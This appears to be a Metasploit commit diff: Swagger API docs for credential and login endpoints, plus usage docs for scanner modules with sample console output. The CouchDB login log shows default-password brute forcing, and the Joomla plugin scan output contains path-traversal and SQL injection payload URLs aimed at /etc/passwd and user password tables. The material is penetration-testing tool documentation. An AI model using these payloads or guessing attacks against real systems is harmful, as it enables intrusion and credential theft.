key :type, :string
key :required, false
end
end
end
response 200 do
key :description, 'Returns credential data.'
@ -106,7 +177,20 @@ module CredentialApiDoc
key :description, 'The attributes to assign to the credential.'
key :required, true
schema do
key :'$ref', :Credential
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
end
end
@ -119,31 +203,28 @@ module CredentialApiDoc
end
end
# This endpoint is NYI.
#
# # Swagger documentation for /api/v1/credentials/ DELETE
# operation :delete do
# key :description, 'Delete the specified credentials.'
# key :tags, [ 'credential' ]
#
# parameter :delete_opts
#
# response 200 do
# key :description, 'Successful operation'
# schema do
# key :type, :array
# items do
# key :'$ref', :Credential
# end
# end
# end
# end
# Swagger documentation for /api/v1/credentials/ DELETE
operation :delete do
key :description, 'Delete the specified credentials.'
key :tags, [ 'credential' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Credential
end
end
end
end
end
# This endpoint is NYI.
#
# swagger_path '/api/v1/credentials/:id' do
# # Swagger documentation for api/v1/credentials/:id GET
swagger_path '/api/v1/credentials/{id}' do
# Swagger documentation for api/v1/credentials/:id GET
# TODO: Uncomment below when this endpoint is implemented.
# operation :get do
# key :description, 'Return credentials that are stored in the database.'
# key :tags, [ 'credential' ]
@ -155,14 +236,14 @@ module CredentialApiDoc
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of credential to retrieve'
# key :description, 'ID of credential to retrieve.'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns credential data'
# key :description, 'Returns credential data.'
# schema do
# key :type, :array
# items do
@ -172,32 +253,30 @@ module CredentialApiDoc
# end
# end
# This endpoint is NYI.
#
# Swagger documentation for /api/v1/credentials/:id PUT
# operation :put do
# key :description, 'Update the attributes an existing credential.'
# key :tags, [ 'credential' ]
#
# parameter :update_id
#
# parameter do
# key :in, :body
# key :name, :body
# key :description, 'The updated attributes to overwrite to the credential'
# key :required, true
# schema do
# key :'$ref', :Credential
# end
# end
#
# response 200 do
# key :description, 'Successful operation'
# schema do
# key :type, :object
# key :'$ref', :Credential
# end
# end
# end
#end
#Swagger documentation for /api/v1/credentials/:id PUT
operation :put do
key :description, 'Update the attributes an existing credential.'
key :tags, [ 'credential' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the credential.'
key :required, true
schema do
key :'$ref', :Credential
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Credential
end
end
end
end
end

View File

@ -0,0 +1,141 @@
require 'swagger/blocks'
module LoginApiDoc
include Swagger::Blocks
CORE_ID_DESC = 'The ID of the Metasploit::Credential::Core object this login is associated with.'
CORE_DESC = 'The Metasploit::Credential::Core object that corresponds to the credential pair this login attempt used.'
SERVICE_ID_DESC = 'The ID of the service object that this login was attempted against.'
ACCESS_LEVEL_DESC = 'A free-form text field that can be used to annotate the access level of this login.'
ACCESS_LEVEL_EXAMPLE = "'admin', 'sudoer', or 'user'"
STATUS_DESC = 'The result of the login attempt.'
LAST_ATTEMPTED_AT_DESC = 'The date and time the login attempt occurred.'
SERVICE_NAME_DESC = 'The name of the service that the login was attempted against.'
SERVICE_NAME_EXAMPLE = 'ssh'
ADDRESS_DESC = 'The IP address of the host/service this login was attempted against.'
ADDRESS_EXAMPLE = '127.0.0.1'
PORT_DESC = 'The port the service was listening on.'
PORT_EXAMPLE = '22'
PROTOCOL_DESC = 'The protocol the service was using.'
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
# Values from lib/metasploit/model/login/status.rb in the metasploit-model repo
STATUS_ENUM = [
'Denied Access',
'Disabled',
'Incorrect',
'Locked Out',
'No Auth Required',
'Successful',
'Unable to Connect',
'Untried'
]
# Swagger documentation for Login model
swagger_schema :Login do
key :required, [:address, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :core_id, type: :integer, format: :int32, required: true, description: CORE_ID_DESC
property :service_id, type: :integer, format: :int32, required: true, description: SERVICE_ID_DESC
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
property :status, type: :string, description: STATUS_DESC, required: true, enum: STATUS_ENUM
property :last_attempted_at, type: :string, format: :date_time, description: LAST_ATTEMPTED_AT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/logins' do
# Swagger documentation for /api/v1/logins GET
operation :get do
key :description, 'Return logins that are stored in the database.'
key :tags, [ 'login' ]
response 200 do
key :description, 'Returns login data.'
schema do
key :type, :array
items do
key :'$ref', :Login
end
end
end
end
# Swagger documentation for /api/v1/logins POST
operation :post do
key :description, 'Create a login.'
key :tags, [ 'login' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the login.'
key :required, true
schema do
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :core, '$ref' => :Credential, required: true, description: CORE_DESC
property :last_attempted_at, type: :string, format: :date_time, required: true, description: LAST_ATTEMPTED_AT_DESC
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
property :status, type: :string, required: true, description: STATUS_DESC, enum: STATUS_ENUM
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Login
end
end
end
# Swagger documentation for /api/v1/logins/ DELETE
operation :delete do
key :description, 'Delete the specified logins.'
key :tags, [ 'login' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Login
end
end
end
end
end
swagger_path '/api/v1/logins/{id}' do
# Swagger documentation for /api/v1/logins/:id PUT
operation :put do
key :description, 'Update the attributes an existing login.'
key :tags, [ 'login' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the login.'
key :required, true
schema do
key :'$ref', :Login
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Login
end
end
end
end
end

View File

@ -35,6 +35,7 @@ module RootApiDoc
tag name: 'event', description: 'Event operations.'
tag name: 'exploit', description: 'Exploit operations.'
tag name: 'host', description: 'Host operations.'
tag name: 'login', description: 'Login operations.'
tag name: 'loot', description: 'Loot operations.'
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
tag name: 'nmap', description: 'Nmap operations.'

View File

@ -0,0 +1,110 @@
The teradata_odbc_sql module is used to run SQL queries for Teradata databases.
## Vulnerable Application
* Teradata Database
* Teradata Express
Teradata databases can be identified by scanning for TCP port 1025. An Nmap version scan can confirm if the service is recognized as Teradata.
The teradata_odbc_login module can be used to brute-force credentials.
## Extra Requirements
This module requires the Teradata ODBC driver and the Teradata python library.
### ODBC Driver for Kali Linux 2017.3
1. Download the Teradata ODBC driver for Ubuntu from [downloads.teradata.com](https://downloads.teradata.com/download/connectivity/odbc-driver/linux).
2. Refer to the Ubuntu package README for up-to-date instructions.
1. Install **lib32stdc++6** if necessary.
2. Install the ODBC drivers: `dpkg -i [package].deb`
3. Copy **/opt/teradata/client/ODBC_64/odbc.ini** to **/root/.odbc.ini** .
* Or your home directory if not root.
* Make sure **odbc.ini** has been renamed to **.obdc.ini** .
### Configuration for OS X
On OS X the Python client needs to be pointed to the ODBC driver manually. Create `~/udaexec.ini` with the following contents:
```ini
[CONFIG]
odbcLibPath=/usr/lib/libiodbc.dylib
```
### Python Package
```
pip install teradata
```
## Verification Steps
1. Deploy a [Teradata Express](https://www.teradata.com/products-and-services/teradata-express) test environment.
2. Install the OBCD driver and python package.
3. Start msfconsole.
4. Do: `use auxiliary/admin/teradata/teradata_odbc_sql`
5. Do: `set RHOSTS [IPs]`
6. Do: `set USERNAME [username to try]`
7. Do: `set PASSWORD [password to try]`
* The default Teradata credentials are the matching username and password 'DBC'.
8. Set a SQL query for the 'SQL' option.
* The default is `SELECT DATABASENAME FROM DBC.DATABASES`
9. Do: `run`
```
msf > use auxiliary/admin/teradata/teradata_odbc_sql
msf auxiliary(admin/teradata/teradata_odbc_sql) > show options
Module options (auxiliary/admin/teradata/teradata_odbc_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD dbc yes Password
RHOSTS yes The target address range or CIDR identifier
SQL SELECT DATABASENAME FROM DBC.DATABASES yes SQL query to perform
THREADS 1 yes The number of concurrent threads
USERNAME dbc yes Username
msf auxiliary(admin/teradata/teradata_odbc_sql) > set RHOSTS 192.168.0.2
RHOSTS => 192.168.0.2
msf auxiliary(admin/teradata/teradata_odbc_sql) > run
[*] Running for 192.168.0.2...
[*] 192.168.0.2 - dbc:dbc - Starting
[*] 192.168.0.2 - Creating connection: %s
[*] 192.168.0.2 - Loading ODBC Library: %s
[*] 192.168.0.2 - Available drivers: Teradata Database ODBC Driver 16.20,
[*] 192.168.0.2 - Connection successful. Duration: %.3f seconds. Details: %s
[+] 192.168.0.2 - dbc:dbc - Login Successful
[*] 192.168.0.2 - Starting - SELECT DATABASENAME FROM DBC.DATABASES
[*] 192.168.0.2 - Query Successful. Duration: %.3f seconds,%sQuery: %s%s
[+] 192.168.0.2 - Row 1: [DatabaseUser ]
[+] 192.168.0.2 - Row 2: [All ]
[+] 192.168.0.2 - Row 3: [SYSJDBC ]
[+] 192.168.0.2 - Row 4: [TDStats ]
[+] 192.168.0.2 - Row 5: [TD_SYSXML ]
[+] 192.168.0.2 - Row 6: [PUBLIC ]
[+] 192.168.0.2 - Row 7: [DBC ]
[+] 192.168.0.2 - Row 8: [SYSBAR ]
[+] 192.168.0.2 - Row 9: [TD_SYSGPL ]
[+] 192.168.0.2 - Row 10: [SYSLIB ]
[+] 192.168.0.2 - Row 11: [SQLJ ]
[+] 192.168.0.2 - Row 12: [LockLogShredder ]
[+] 192.168.0.2 - Row 13: [Default ]
[+] 192.168.0.2 - Row 14: [TDPUSER ]
[+] 192.168.0.2 - Row 15: [TD_SYSFNLIB ]
[+] 192.168.0.2 - Row 16: [EXTUSER ]
[+] 192.168.0.2 - Row 17: [tdwm ]
[+] 192.168.0.2 - Row 18: [SystemFe ]
[+] 192.168.0.2 - Row 19: [External_AP ]
[+] 192.168.0.2 - Row 20: [TDQCD ]
[+] 192.168.0.2 - Row 21: [dbcmngr ]
[+] 192.168.0.2 - Row 22: [Sys_Calendar ]
[+] 192.168.0.2 - Row 23: [SysAdmin ]
[+] 192.168.0.2 - Row 24: [TD_SERVER_DB ]
[+] 192.168.0.2 - Row 25: [TDMaps ]
[+] 192.168.0.2 - Row 26: [SYSUDTLIB ]
[+] 192.168.0.2 - Row 27: [Crashdumps ]
[+] 192.168.0.2 - Row 28: [SYSSPATIAL ]
[+] 192.168.0.2 - Row 29: [MyUser ]
[+] 192.168.0.2 - Row 30: [SYSUIF ]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,62 @@
## Vulnerable Application
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
Netatalk is a Linux implementation of AFP.
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
CNID_METAD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
1. Install and configure afp (or netatalk in a Linux environment)
2. Start msfconsole
3. Do: `auxiliary/scanner/afp/afp_server_info`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/afp/afp_server_info) > run
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,73 @@
## Vulnerable Application
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
1. `sudo apt install software-properties-common`
2. `sudo add-apt-repository ppa:couchdb/stable`
3. `sudo apt update`
4. `sudo apt install couchdb`
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
6. Restart the service: `sudo service couchdb restart`
## Verification Steps
1. Install and configure couchdb
2. Start msfconsole
3. Do: `auxiliary/scanner/couchdb/couchdb_enum`
4. Do: `run`
## Options
**serverinfo**
If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
## Scenarios
A run against the configuration from these docs
```
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
verbose => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
[+] 1.1.1.1:5984 {
"couchdb": "Welcome",
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
"version": "1.6.1",
"vendor": {
"version": "16.04",
"name": "Ubuntu"
}
}
[*] #{peer} Enumerating Databases...
[+] 1.1.1.1:5984 Databases:
[
"_replicator",
"_users"
]
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
Server: CouchDB/1.6.1 (Erlang OTP/18)
Date: Sat, 21 Jul 2018 14:54:45 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 127
Cache-Control: must-revalidate
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
```

View File

@ -0,0 +1,51 @@
## Vulnerable Application
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
1. `sudo apt install software-properties-common`
2. `sudo add-apt-repository ppa:couchdb/stable`
3. `sudo apt update`
4. `sudo apt install couchdb`
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
6. Restart the service: `sudo service couchdb restart`
7. Create an admin user `curl -X PUT http://127.0.0.1:5984/_config/admins/anna -d '"secret"'`
## Verification Steps
1. Install and configure couchdb
2. Start msfconsole
3. Do: `auxiliary/scanner/couchdb/couchdb_login`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf5 > use auxiliary/scanner/couchdb/couchdb_login
msf5 auxiliary(scanner/couchdb/couchdb_login) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/couchdb/couchdb_login) > set username anna
username => anna
msf5 auxiliary(scanner/couchdb/couchdb_login) > set password secret
password => secret
msf5 auxiliary(scanner/couchdb/couchdb_login) > run
[*] 1.1.1.1:5984 - [001/305] - Trying username:'connect' with password:'connect'
[*] 1.1.1.1:5984 - [002/305] - Trying username:'sitecom' with password:'sitecom'
[*] 1.1.1.1:5984 - [003/305] - Trying username:'admin' with password:'1234'
[*] 1.1.1.1:5984 - [004/305] - Trying username:'cisco' with password:'cisco'
[*] 1.1.1.1:5984 - [005/305] - Trying username:'cisco' with password:'sanfran'
[*] 1.1.1.1:5984 - [006/305] - Trying username:'private' with password:'private'
[*] 1.1.1.1:5984 - [007/305] - Trying username:'wampp' with password:'xampp'
[*] 1.1.1.1:5984 - [008/305] - Trying username:'newuser' with password:'wampp'
[*] 1.1.1.1:5984 - [009/305] - Trying username:'xampp-dav-unsecure' with password:'ppmax2011'
[*] 1.1.1.1:5984 - [010/305] - Trying username:'admin' with password:'turnkey'
[*] 1.1.1.1:5984 - [011/305] - Trying username:'vagrant' with password:'vagrant'
[*] 1.1.1.1:5984 - [012/305] - Trying username:'anna' with password:'secret'
[+] 1.1.1.1:5984 - Successful login with. 'anna' : 'secret'
[*] 1.1.1.1:5984 - [013/305] - Trying username:'admin' with password:'secret'
...snip...
```

View File

@ -0,0 +1,29 @@
## About
This module simply queries the DB2 discovery service for information.
The discovery service is integrated with the Configuration Assistant and the DB2® administration server.
Using the discovery method, catalog information for a remote server can be automatically generated in the local database and node directory.
## Verification Steps
1. `use auxiliary/scanner/db2/discovery`
2. `set RHOSTS [target address range/cidr]`
3. `set THREDS [number of threads]`
4. `run`
## Scenarios
- DB2 `9.07.2` running at a `RHEL 6.9` .
```
msf auxiliary(scanner/db2/discovery) > set RHOSTS 192.168.1.25
msf auxiliary(scanner/db2/discovery) > run
[+] Host 192.168.1.25 node name is SERVER02 with a product id of SQL09072
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/db2/discovery) >
```
* The same output is expected on other versions of DB2, with the correspondent DB2 version at the product ID.
- Example: DB2 9.07.2 outputs the product ID `SQL9072`, while DB2 7.02.9 outputs the product ID `SQL7029`.

View File

@ -0,0 +1,16 @@
## Intro
This module scans for h.323 servers and determines the version and information about the server.
## Usage
```
msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version
msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/h323/h323_version) > run
[+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway
[*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,45 @@
## Intro
This module scans a web server for a file name with various backup type extensions.
The list of extensions are:
1. .backup
2. .bak
3. .copy
4. .copia
5. .old
6. .orig
7. .temp
8. .txt
9. ~
## Usage
In the basic config, you'll search for the extensions on `/index.asp`, which may not be very useful.
In this scenario, we look for `/backup` instead. On the web server, we've created the files `backup.old`,
`backup.orig`, and `backup~`.
```
msf5 > use auxiliary/scanner/http/backup_file
msf5 auxiliary(scanner/http/backup_file) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/backup_file) > set path /backup
path => /backup
msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/backup_file) > run
[*] NOT Found http://192.168.2.39:80/backup.backup
[*] NOT Found http://192.168.2.39:80/backup.bak
[*] NOT Found http://192.168.2.39:80/backup.copy
[*] NOT Found http://192.168.2.39:80/backup.copia
[+] Found http://192.168.2.39:80/backup.old
[+] Found http://192.168.2.39:80/backup.orig
[*] NOT Found http://192.168.2.39:80/backup.temp
[*] NOT Found http://192.168.2.39:80/backup.txt
[+] Found http://192.168.2.39:80/backup~
[*] NOT Found http://192.168.2.39:80/.backup.swp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,28 @@
## Intro
This module scans for Docker servers listening on a TCP port (default 2375).
## Options
**VERBOSE**
Enable this to dump all info to the screen.
## Usage
```
msf5 > use auxiliary/scanner/http/docker_version
msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/docker_version) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/docker_version) > run
[*] Identifying Docker Server Version on 127.0.0.1:2375
[+] [Docker Server] Version: 18.03.1-ce
[*] All info: {"Platform"=>{"Name"=>""}, "Components"=>[{"Name"=>"Engine", "Version"=>"18.03.1-ce", "Details"=>{"ApiVersion"=>"1.37", "Arch"=>"amd64", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "KernelVersion"=>"[redacted]", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}], "Version"=>"18.03.1-ce", "ApiVersion"=>"1.37", "MinAPIVersion"=>"1.12", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"[redacted]", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00"}
[*] Saving host information.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/docker_version) >
```

View File

@ -0,0 +1,31 @@
## Intro
This module pulls and parses the URLs stored by Archive.org for the purpose of replaying
during a web assessment. Finding unlinked and old pages. This module utilizes
[Archive.org's Wayback Machine](https://archive.org/web/)'s [API](https://archive.org/help/wayback_api.php).
## Usage
```
msf5 > use auxiliary/scanner/http/enum_wayback
msf5 auxiliary(scanner/http/enum_wayback) > set domain rapid7.com
domain => rapid7.com
msf5 auxiliary(scanner/http/enum_wayback) > run
[*] Pulling urls from Archive.org
[*] Located 43656 addresses for rapid7.com
http://mailto:info@rapid7.com/
http://mailto:sales@rapid7.com/
http://mailto:sales@rapid7.com/robots.txt
http://rapid7.com
http://rapid7.com/
http://rapid7.com/GlobalStyleSheet.css
http://rapid7.com/WebResources/images/Background2.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Downloads_u.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Home_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_u.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_u.gif
...snip...
```

View File

@ -0,0 +1,26 @@
## Intro
This module scans for Joomla Content Management System running on a web server for the following pages:
1. `robots.txt`
2. `administrator/index.php`
3. `admin/`
4. `index.php/using-joomla/extensions/components/users-component/registration-form`
5. `index.php/component/users/?view=registration`
6. `htaccess.txt`
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_pages
msf5 auxiliary(scanner/http/joomla_pages) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_pages) > run
[+] Page Found: /robots.txt
[+] Page Found: /administrator/index.php
[+] Page Found: /htaccess.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,143 @@
## Intro
This module scans for Joomla Content Management System running on a web server for components/plugins.
The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt).
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_plugins
msf5 auxiliary(scanner/http/joomla_plugins) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_plugins) > run
[+] Plugin: /?1.5.10-x
[+] Plugin: /?1.5.11-x-http_ref
[+] Plugin: /?1.5.11-x-php-s3lf
[+] Plugin: /?1.5.3-path-disclose
[+] Plugin: /?1.5.3-spam
[+] Plugin: /?1.5.8-x
[+] Plugin: /?1.5.9-x
[+] Plugin: /?j1012-fixate-session
[+] Plugin: /administrator/
[+] Plugin: /administrator/components/
[+] Plugin: /administrator/components/com_admin/
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log
[+] Plugin: /components/com_banners/
[+] Plugin: /components/com_content/
[+] Page: /index.php?option=com_content
[+] Plugin: /components/com_mailto/
[+] Plugin: /components/com_search/
[+] Page: /index.php?option=com_search
[+] Plugin: /components/com_users/
[+] Page: /index.php?option=com_users
[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&amp;type=css&v=1
[+] Vulnerability: Potential LFI
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using Joomscan
The `-ec` flag is used to enumerate components/plugins.
```
# joomscan -u 192.168.2.39 -ec
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.5
+---++---==[Update Date : [2018/03/13]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : KLOT
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.2.39 ...
...snip...
[+] Enumeration component (com_ajax)
[++] Name: com_ajax
Location : http://192.168.2.39/components/com_ajax/
Directory listing is enabled : http://192.168.2.39/components/com_ajax/
[+] Enumeration component (com_banners)
[++] Name: com_banners
Location : http://192.168.2.39/components/com_banners/
Directory listing is enabled : http://192.168.2.39/components/com_banners/
[+] Enumeration component (com_contact)
[++] Name: com_contact
Location : http://192.168.2.39/components/com_contact/
Directory listing is enabled : http://192.168.2.39/components/com_contact/
[+] Enumeration component (com_content)
[++] Name: com_content
Location : http://192.168.2.39/components/com_content/
Directory listing is enabled : http://192.168.2.39/components/com_content/
[+] Enumeration component (com_contenthistory)
[++] Name: com_contenthistory
Location : http://192.168.2.39/components/com_contenthistory/
Directory listing is enabled : http://192.168.2.39/components/com_contenthistory/
